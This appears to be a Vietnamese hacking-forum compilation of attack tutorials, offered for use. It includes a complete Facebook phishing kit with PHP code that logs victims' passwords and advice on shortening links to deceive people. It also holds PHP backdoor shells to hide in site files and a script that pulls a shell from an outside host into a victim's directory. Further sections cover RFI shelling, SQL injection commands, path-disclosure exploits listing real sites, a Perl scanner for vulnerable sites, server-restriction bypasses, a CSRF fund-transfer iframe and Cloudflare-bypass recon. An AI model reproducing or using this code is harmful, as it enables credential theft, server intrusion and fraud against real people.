Hướng dẫn tạo trang phishing facebook
Đầu tiên lưu source trang facebook đặt tên cho nó là index . dùng ctrl+S cái này ai cũng biết rồi :D
Tiếp theo, Edit file index, Ctrl+F tìm "action"
Tìm cái đoạn có chữ thế này action="https://www.facebook.com/login.php?login_attempt=1" method="post
Đổi https://www.facebook.com/login.php?login_attempt=1 thành login.php ( cách tạo file này sẽ được nói ở dưới)
Đổi tiếp post thành get
Giờ đến phần tạo file "login.php"
mở notepad lưu đoạn này vào


<?php
header("Location: https://www.facebook.com/login.php?login_attempt=1");
$handle = fopen("passes.txt", "a");
foreach($_GET as $variable => $value)
{
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>


Lưu là"login.php" tạo thêm file passes.txt nữa là có 1 site phishing hoàn chỉnh rồi. giờ up lên host, có thể dùng http://goo.gl/ để rút gọn link để dễ đi lừa hơn :D

P/S: muốn xem user pass thì xem cái file passes.txt

Từ điển thuật ngữ hacking

Are you new to the realm of hacking?
Do you feel dumb when you don't know the meaning of a certain term?
Well, then this will certainly help you out!
If you are ever unsure about anything, simply scroll down and find that specific word, then read the definition.

Anything includes: Abbreviations, Phrases, Words, and Techniques.
*The list is in alphabetical order for convenience!*

---------------------------------------------------------------------------------------------------------------------------------

Abbreviations

★ DDoS =
Distributed Denial of Service

★ DrDoS =
Distributed Reflected Denial of Service Attack, uses a list of reflection servers or other methods such as DNS to spoof an attack to look like it's coming from multiple ips. Amplification of power in the attack COULD occur.

★ FTP =
File Transfer Protocol. Used for transferring files over an FTP server.

★ FUD =
Fully Undetectable

★ Hex =
In computer science, hexadecimal refers to base-16 numbers. These are numbers that use digits in the range: 0123456789ABCDEF. In the C programming language (as well as Java, JavaScript, C++, and other places), hexadecimal numbers are prefixed by a 0x. In this manner, one can tell that the number 0x80 is equivalent to 128 decimal, not 80 decimal.

★ HTTP =
Hyper Text Transfer Protocol. The foundation of data communication for the World Wide Web.

★ IRC =
Internet Relay Chat. Transmiting text messages in real time between online users.

★ JDB =
Java drive-by, a very commonly used web-based exploit which allows an attacker to download and execute malicious code locally on a slave's machine through a widely known java vulnerability.

Ẩn Shell Giấu Shell.

Ẩn Shell trong file:
Cách 1:Sửa 1 file bất kì, thêm đoạn code sau vào:

Code:
<pre> <?php System($_GET['capuchino']) ?> <pre>

Sử dụng bằng cách gõ command tại address.Ví dụ ta sửa file index.php thì chạy shell:

index.php?capuchino=<command>
Cách 2: Dùng Shell Upload ẩn
<?php
if($_GET['capu']=='capu')
{
echo '<form method="POST" enctype="multipart/form-data" action="?capu=capu">
<input type="file" name="file_upload" size="20" id="file">
<input type="submit" name="gui" value="Up" >
</form>';
if (isset($_POST['gui'])){
move_uploaded_file($_FILES['file_upload']['tmp_name'], $_FILES['file_upload']['name']);
}
}

Cách 3:Chèn Hàm Eval vào.Lúc nào cần load code lên thì load.
<?php
eval($_REQUEST["loadcode"]);/
?>

Up shell SafeMode: ON

Up shell SafeMode: ON

Mẫu code mà kid dùng để up shell server có safe mode đang ON vì lúc đó ko thể dùng các hàm system,exec,shell_exec...


PHP Code:

<?php
touch(ugvn.php);chmod("ugvn.php", 0755);$fin=fopen("http://www.vietnamsvisa.com/media/system/css/ugvn.txt",r)or exit("false 1"); $fout=fopen("/home/victim/domains/victim.com/public_html/admin/ugvn.php",a)or exit("false 2");
while(!feof($fin))
{
fwrite($fout,fgets($fin));
}fclose($fin); fclose($fout);?>

hoặc:

PHP Code:


<?php
touch(ugvn.php);chmod("ugvn.php", 0755);$fout=fopen("/home/victim/domains/victim.com/public_html/admin/ugvn.php",a)or exit("false");fwrite($fout,file_get_contents(http://www.vietnamsvisa.com/media/system/css/ugvn.txt));fclose($fout);?>


[+] http://www.vietnamsvisa.com/media/system/css/ugvn.txt <--- là link shell ở 1 host nào đó,up lên nhớ xem có quyền đọc ko đã nhé

[+] /home/victim/domains/victim.com/public_html/admin/ugvn.php <--- là vị trí shell đc đẩy vào host,hảy chắc chắn là ta có quyền ghi file ở đó nhé !

RFI - Remote File Inclusion

nguồn:http://elitehackforums.com/showthread.php?tid=3117

RFI - Remote File Inclusion, takes advantage of include() & require() functions in PHP. Like its name says, this vulnerability lets us include files from remote servers onto the vulnerable page. This vulnerability was really great back in the day because shelling a server was a simple as hosting a shell on a remote server and then including it through $GET parameters in the URL of the vulnerable host. Being so great, masses were informed of the vulnerability and programmers made sure to end this vulnerability. This vulnerability rarely exists today, due to allow_url_include being disabled in modern/updated PHP versions.

[0x02] The Attack:


Say we have our site:

PHP Code:
http://www.site.com/stuff.php?page=stuff2.html 

* Okay so we can see that stuff.php is using the variable $page to get the html page to display to our browser (real life scenario wouldn't be this obvious lol )

* Okay so lets see if it will go ahead and pass a remote url.
PHP Code:
http://www.site.com/stuff.php?page=http://www.google.com 

If a successful remote file inclusion is there, you should see google's home page presented on the page in your browser. So with that said lets shell it with a php shell.

* Shelling:
This is simple, upload your favorite php shell to a remote server that allows php functions to be executed, then simply type in the url to your shell just like you did with google.com.
Quote:http://www.site.com/stuff.php?page=http:...yshell.php

* Now if all goes well you should see your shell interface on the page, Begin exploring the server and having fun.

[0x03] Conclusion:
Although RFI is quite dead, I thought it would be nice for some of the new comers just to learn and have under their belt. Never can say no to new knowledge.

Tuto by me ;)

Useful SQLinjection Command List

Nguồn:http://elitehackforums.com/showthread.php?tid=2064

Version:

Quote:SELECT
SELECT @@version
SELECT @@version_comment
SELECT @@version_compile_machine
SELECT @@version_compile_os


Directories:
Quote:SELECT @@basedir
SELECT @@tmpdir
SELECT @@datadir


Users:
Quote:SELECT USER()
SELECT SYSTEM_USER()
SELECT *******_USER()
SELECT CURRENT_USER()


Current Database:
Quote:SELECT DATABASE()

Path Disclosure


Wordpress <=3.4.2


The Full Path Disclosure is in Wordpress <= 3.4.2, with this information you can get the path to the site you're in and (in most of the cases) cpanel's user****. To see it go to:
 http://[path]/wp-includes/rss-functions.php 
 Examples: http://tsmp.us/wp-includes/rss-functions.php 
http://tafeio.com/wp-includes/rss-functions.php 
 http://santana1540.com.br/wp-includes/rss-functions.php
 It works in 90% of the sites


[+] vBulletin all 3 vBulletin full path disclosure Vulnerability
[-] Found by Angel Injection
[-] Version: all 3
[-] Security -::RISK: Just For Information So "Low"
[-] platforms: php
[-] http://1337day.com http://r00tw0rm.com http://i313.cc

[+] Thanx To "Mhd1"


Exploit work on

http://localhost/search.php?do[]=1337

http://localhost/profile.php?do[]=1337

http://localhost/subscription.php?do[]=1337

Online Test

http://www.victim.net/vb/search.php?do[]=lol.cc/313 And 1337day.com

http://www.victim.net/vb/profile.php?do[]=lol.cc/313 And 1337day.com

http://www.victim.net/vb/subscription.php?do[]=lol.cc/313 And 1337day.com


# 1337day.com [2012-07-02]







PERL DORK SCANNER

#!/usr/bin/perl
# .:. .:. .:. .:. .:. .:. .:. .:. .:. .:. .:. .:.
# .:. Script : SQLi Vulnerable Scanner .:.
# .:. Version : 3.0 fixed (06/10/2012) .:.
# .:. Author : Metropolis .:.
# .:. Home : https://www1.r00tw0rm.com/ .:.
# .:. .:. .:. .:. .:. .:. .:. .:. .:. .:. .:. .:.
# .:. MySQL Injection .:.
# .:. MSAccess Injection .:.
# .:. MSSQL Injection .:.
# .:. Oracle Injection .:.
# .:. Blind Injection .:.
# .:. .:. .:. .:. .:. .:. .:. .:. .:. .:. .:. .:.
# Useless version :
# http://pastebin.com/kKxCCJuU 1.0
# http://pastebin.com/FyPcTLRw 2.0
use LWP::UserAgent;
use Getopt::Std;
getopt('kpo', \%opts);
if($opts{'k'} eq '')
{
print "[Help] SQLi.pl -k shopping.php?id= -p 500\n"; # Max: 50,100,500,700,etc...
}
if($opts{'p'} eq '')
{
$opts{'p'} = 1;
}
print <<"Metropolis_intro";
___________
|.---------.|
|| ||
|| scanner ||
|| ||
|'---------'|
`)__ ____('
[=== -- o ]--.
__'---------'__ \
[::::::::::: :::] )
`""'"""""'""""`/T\\
\\_/
Metropolis_intro
system('COLOR A');
print "\n\n[Script] SQLi Vulnerable Scanner (MySQL,MSAccess,MSSQL,Oracle,Blind)\n";
print "[Author] Metropolis\n\n\n\n";
for($start = 0;$start != $opts{'p'}*10;$start += 10)
{
$t = "http://www.google.fr/search?hl=fr&q=".$opts{'k'}."&btnG=Search&start=".
$start;
$ua = LWP::UserAgent->new;
$ua->timeout(10);
$ua->env_proxy;
$ua->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.2.12)
Gecko/20101026 Firefox/3.6.12 ( .NET CLR 3.5.30729; .NET4.0E");
$response = $ua->get($t);
if ($response->is_success)
{
$c = $response->content;
@stuff = split(/<a href=/,$c);
foreach $line(@stuff)
{
if($line =~/(.*) class=l/ig)
{
$out = $1;
$out =~ s/"//g;
$out =~s/$/\'/;
$ua = LWP::UserAgent->new;
$ua->timeout(10);
$ua->env_proxy;
$response = $ua->get($out);
$error = $response->content();
if($error =~m/SQL syntax/)
{print "$out Vulnerable MySQL!\n";}
elsif($error =~m/Microsoft JET Database/ || $error =~m/ODBC Microsoft
Access Driver/)
{print "$out Vulnerable MS Access!\n";}
elsif($error =~m/Microsoft OLE DB Provider for SQL Server/ || $error
=~m/Unclosed quotation mark/)
{print "$out Vulnerable MSSQL!\n";}
elsif($error =~m/mysql_fetch_array()/ || $error =~m/mysql_num_rows()/)
{print "$out Vulnerable Blind Possible!\n";}
elsif($error =~m/Microsoft OLE DB Provider for Oracle/)
{print "$out Vulnerable Oracle!\n";}
}
}
}
}

Bypass Linux Server Security

http://devil-zone.net/vb/showthread.php?4054-Bypass-Linux-Server-Security

[#]Method 1:

open_basedir bypass Shell above "open_basedir" values are used to confine the directory in which the server owner php users. Allows us the chance to bypass the mistakes made in these settings.

Open_basedir: / home / username :/ usr / lib / php :/ usr/php4/lib/php :/ usr / local / lib / php :/ usr/local/ php4/lib/php :/ tmp

Open_basedir values as shown in the example php4 support. Shell is extension "shell.php4" When upload by changing the php server on server 4 version can be captured and Safe Mode, OFF will be located.

[#]Method 2:

Cgishell to run the command with Safe mode off if written in the language of perl cgi-telnet Shell setting chmod 0755 after upload to your server and run it. Unblocked cgi script to invoke a server is not even in a situation like that.

[#]Method 3:

Index Of / On Server directory Jump to____As is known, the current servers, safe mode, disable functions even take elements such as files, usually forbidden Assam error. In such cases, by means of tool that I Index of / open directory server with the user you want to bypass the config file.

Rar file after the upload server on the command line, type tar root root.tar.gz open the compressed file server. Then delete the name of the shell above the current url den / c1/1/home/k.adı/public_html / making the switch to writing.

[#]Method 4: Ln-b with the File Pull___

Ln-s command given permission restrictions on some server Ln-b command, the command is not forgotten, and in such cases;

ln - help command, then ln-b /home /user/public_html /config.php file boy.txt can take any form.

CSRF


Giả mạo yêu cầu (CSRF) là một kiểu tấn công được nêu trong Top 10 của OWASP, theo đó một trang web độc hại sẽ gửi một yêu cầu tới một ứng dụng web mà người dùng đã được xác thực chống lại từ một trang web khác nhau. Bằng cách này, kẻ tấn công có thể truy cập chức năng trong một ứng dụng web của mục tiêu thông qua các nạn nhân đã được xác thực của trình duyệt. Các mục tiêu bao gồm các ứng dụng web như phương tiện truyền thông xã hội, trong trình duyệt khách hàng email, ngân hàng trực tuyến ....

Những yếu tố chính cần nắm khi tấn công bằng phương pháp CSRF:

- Yêu cầu đôc hại (Malicious requests) được gửi đến website khác nơi mà người dùng truy cập đến website đó đã được xác thực.
- Yêu cầu độc hại (Malicious requests) được chuyển đến trang web mục tiêu (target site) thông qua trình duyệt của nạn nhân, nơi mà nó đã được xác thực chống lại các trang web mục tiêu.
- Lỗ hổng này tồn tại trên các ứng dụng web, chứ không tồn tại trên trình duyệt của nạn nhân cũng như các trang lưu trữ thông tin lỗi CSRF

CSRF giải thích theo cách này có lẽ dễ hiểu hơn:

CSRF là kiểu tấn công bằng cách sử dụng quyền chứng thực của người sử dụng đối với một website khác ( mượn quyền ceritification ), các ứng dụng web hoạt động theo nguyên tắc nhận các lệnh http từ người dùng sau đó thực thi nó. CSRF sẽ lừa trình duyệt của người dùng để gửi đi các lệnh http đến các ứng dụng web trong trường hợp session (phiên làm việc) của người dùng chưa hết hiệu lực thì các lệnh http trên sẽ được thực hiện với quyền chứng thực của người dùng trước đó.

Cách tấn công CSRF:

Trong tấn công CSRF thì attacker sẽ phải tìm ra được cách quản lý xác thực mà target site đang sử dụng để có thể khai thác CSRF thì bắt buộc nạn nhân (victim) phải đăng nhập vào target site đó.

Vd: Trang tailieu.vn dính lỗi CSRF và đã được tôi exploit nhúng mã độc vào thì khi các bạn truy cập vào trang này sẽ có 2 trường hợp:
- Nếu các bạn chỉ truy cập bình thường xem tài liệu và không đăng nhập vào tài khoản của các bạn thì ,… không có chuyện gì xảy ra và tôi không làm gì được.
- Nhưng nếu các bạn Đăng nhập vào tài khoản của các bạn thì lúc đó đoạn mã độc của tôi sẽ tiến hành lấy những thông tin cần thiết để có thể dùng cho việc login vào trang tài liệu bằng chính tài khoản của các bạn và trên máy các bạn
Lấy them cái ví dụ nữa để giải thích cho rõ rang hơn 
Đầu tiên các bạn giả sử là tôi đã đăng nhập vào trang tailieu.vn (tailieu.vn bị lỗi CSRF) bằng chính tài khoản của tôi và mọi quyền lợi trong đó tôi đều được sử dụng kể cả việc download tài liệu của nó về máy tính.
Sau đó tình cờ tôi truy cập vào trang tancongbangcsrf.net là trang web dùng đề tấn công trang tailieu.vn nên nó đã được nhúng các exploit và mã độc và tất nhiên người nhúng mã độc tấn công CSRF trên trang tancongbangcsrf.net sẽ có quyền thao tác trên trang tailieu.vn bằng tài khoản của tôi đã login trước đó kể cả quyền download :D

Thêm một ngữ cảnh nữa là trang web về ngân hang cho dễ hình dung hơn.

Tôi có tài khoản tại trang web nganhang.com và trang web này bị lỗi CSRF, tôi đăng nhập vào và sử dụng được mọi quyền hạn mà tài khoản tôi có như kiểm tra tài khoản hay chuyển khoản.
Sau đó tôi vô tình truy cập vào trang hackcsrfnganhang.com trang này đã bị lão icarus đó nhúng cái code khai thác lỗi trang nganhang.com vào đây sẵn rồi nên khi tôi truy cập vào trang hackcsrfnganhang.com thì lập tức nó sẽ thực thi cái code đó và chuyển khoản từ tài khoản của tôi qua tài khoản của lão ấy đã chỉ định sẵn.
Code demo:

Code:<iframe src="http://nganhang.com/app/transferFunds?amount=1500&destinationAccount=icarus" >
Tôi sẽ mất 1500$ qua tài khoản của icarus khi truy cập vào trang hackcsrfnganhang.com vì trang này đã bị icarus nhúng cái iframe đó vào.

Kĩ thuật này khi được triển khai bởi attacker rất đa dạng.Được giấu diếm khá kĩ.Đôi khi victim bị tấn công mà không có một giấu hiệu nhận biết.Không có một giấu hiệu đột nhập lạ nào trên file log.Bởi vì nó được gây ra bởi chính victim.

Một số dạng attacker thường dùng để đánh lừa 1 victim .Giả sử bây giờ mình thấy admin của huynhdegroup.net là icarus ,Mr.Soleil ... đang online trên chatbox (Hoặc gửi vào email,yahoo gì đấy .Mấy admin này hay online lắm :)) ).Giả sử ở đây là qua chatbox. Mình post lên chatbox một link có chứa đoạn script này 

Bypass Cloudflare

Cách 1:Check lịch sử domain nó.Dùng site này :
http://toolbar.netcraft.com/site_report?url=thegioingam.org

Cách 2:Brute dns dùng nmap:
# nmap -sV -sS -F <target> //kiểm tra dịch vụ
# nmap --script dns-brute -sn <target> //brute nào



Cách 3: Check online (ping submain và dịch vụ server ).
http://network-tools.com
http://www.cloudflare-watch.com/cfs.html
http://iphostinfo.com/cloudflare/thegioingam.org
http://exonapps.nl/cfresolver/
http://www.vlvc.edu.vn/mail/cloud.php

Nó sẽ check online các service như:
mail.thegioingam.org
ecorddirect.thegioingam.org 50.23.64.17
direct-connect.thegioingam.org No DNS
recordcpanel.thegioingam.org 50.23.64.17
ftp.thegioingam.org 50.23.64.17
admin.thegioingam.org No DNS
recordpop.thegioingam.org 50.23.64.17
imap.thegioingam.org No DNS
recordwebmail.thegioingam.org 50.23.64.17
forum.thegioingam.org No DNS
recordadmin.thegioingam.org No DNS
recordbeta.thegioingam.org No DNS
recordportal.thegioingam.org No DNS record


Cach 4: Bypass dùng Fierce trên Backtrack

Vào đường dẫn : /pentest/emumeration/dns/pierce/
chạy
./pierce.pl dns thegioingam.org


Cách 5:Thông qua mail
Kiểm tra IP site cần lấy bằng cách đăng kí ở site đó,Nếu site đó gửi email thông báo hoặc xác nhận về .Ta có thể xem ip qua header của gói tin.Ví dụ đối với yahoo chẳng hạn.


tương tự đối với kiểu mail khác cũng có thể get đc header.

Cách 6:Thông qua up avatar hoặc ảnh ở chữ ký,có thể chèn code load ip vào ảnh đó,sau đó load trên server .Mình ko có file ảnh này :))

Và 1 vài cách nữa